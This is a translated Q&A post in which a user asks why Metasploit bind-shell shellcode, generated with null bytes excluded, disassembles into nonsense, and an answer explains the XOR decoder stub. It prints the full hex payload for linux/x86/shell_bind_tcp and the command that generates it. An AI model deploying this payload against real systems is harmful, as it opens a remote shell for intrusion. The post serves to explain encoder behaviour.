Metasploit generando shellcode extraño

2

Así que solo utilicé metasploit para generar la carga útil payload/linux/x86/shell_bind_tcp sin bytes nulos ( generate -t raw -b '\x00' -f shellcode ). Aquí está el código de shell:

$ xxd -p shellcode
dbddd97424f45e33c9bf0e0f5844b114317e1983c604037e15ecfa699f07
e7d95cb482dfebdbe386269b5f19ebf35da51a5f08b54d0f455407c90d5a
589cef60ea9a5f0ec122dc7fbfef63ec19855c4b57d9ea129fb1c3cb2c29
743bb1c0eacad642a045f9d24d9b7a

Y esto es lo que objdump cree que es el código de shell:

$ objdump -D -b binary -m i386 shellcode

shellcode:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   db dd                   fcmovnu st,st(5)
   2:   d9 74 24 f4             fnstenv [esp-0xc]
   6:   5e                      pop    esi
   7:   33 c9                   xor    ecx,ecx
   9:   bf 0e 0f 58 44          mov    edi,0x44580f0e
   e:   b1 14                   mov    cl,0x14
  10:   31 7e 19                xor    DWORD PTR [esi+0x19],edi
  13:   83 c6 04                add    esi,0x4
  16:   03 7e 15                add    edi,DWORD PTR [esi+0x15]
  19:   ec                      in     al,dx
  1a:   fa                      cli    
  1b:   69 9f 07 e7 d9 5c b4    imul   ebx,DWORD PTR [edi+0x5cd9e707],0xebdf82b4
  22:   82 df eb 
  25:   db e3                   fninit 
  27:   86 26                   xchg   BYTE PTR [esi],ah
  29:   9b                      fwait
  2a:   5f                      pop    edi
  2b:   19 eb                   sbb    ebx,ebp
  2d:   f3 5d                   repz pop ebp
  2f:   a5                      movs   DWORD PTR es:[edi],DWORD PTR ds:[esi]
  30:   1a 5f 08                sbb    bl,BYTE PTR [edi+0x8]
  33:   b5 4d                   mov    ch,0x4d
  35:   0f 45 54 07 c9          cmovne edx,DWORD PTR [edi+eax*1-0x37]
  3a:   0d 5a 58 9c ef          or     eax,0xef9c585a
  3f:   60                      pusha  
  40:   ea 9a 5f 0e c1 22 dc    jmp    0xdc22:0xc10e5f9a
  47:   7f bf                   jg     0x8
  49:   ef                      out    dx,eax
  4a:   63 ec                   arpl   sp,bp
  4c:   19 85 5c 4b 57 d9       sbb    DWORD PTR [ebp-0x26a8b4a4],eax
  52:   ea 12 9f b1 c3 cb 2c    jmp    0x2ccb:0xc3b19f12
  59:   29 74 3b b1             sub    DWORD PTR [ebx+edi*1-0x4f],esi
  5d:   c0 ea ca                shr    dl,0xca
  60:   d6                      (bad)  
  61:   42                      inc    edx
  62:   a0 45 f9 d2 4d          mov    al,ds:0x4dd2f945
  67:   9b                      fwait
  68:   7a                      .byte 0x7a

Este enlace también ofrece un desensamblaje similar: enlace

Podría estar equivocado, pero este código de shell parece extraño. En primer lugar, no funciona, pero eso no es suficiente para demostrar que está mal. El segundo problema es que objdump dice (bad) cerca de la parte inferior, lo que probablemente significa que el ensamblaje es incorrecto. Lo último es que no tengo ni idea de lo que está haciendo después de leer la asamblea. La generación del código de shell para esta misma carga útil con bytes nulos proporciona un ensamblaje correcto y legible. No creo que la eliminación de bytes nulos pueda agregar tanta complejidad al código de shell.

¿Hice algo mal? Si no, ¿puede alguien explicar cómo funciona el código de shell?

    
pregunta gsingh2011 28.05.2014 - 10:15
fuente

1 respuesta

2

Está bien, he recibido algunas respuestas al preguntar en el canal de IRC.

Cuando usa -b , el código de shell se codifica para evitar los bytes especificados. El decodificador se adjunta al principio, y ese código es realmente legible y tiene sentido. Este decodificador específico aparentemente hace algo con XORing bytes en el shellcode, lo que explica por qué el shellcode parece basura cuando se desmonta (en realidad no son instrucciones). Además, pasar por el código de shell con GDB a menudo no funcionará porque GDB reemplazará la siguiente instrucción con 0xCC , o un punto de interrupción. Esto significa que el decodificador XORARÁ los bytes incorrectos, causando que el programa se bloquee.

El código de shell es realmente correcto y lo he hecho funcionar para mi exploit.

    
respondido por el gsingh2011 29.05.2014 - 00:47
fuente

Lea otras preguntas en las etiquetas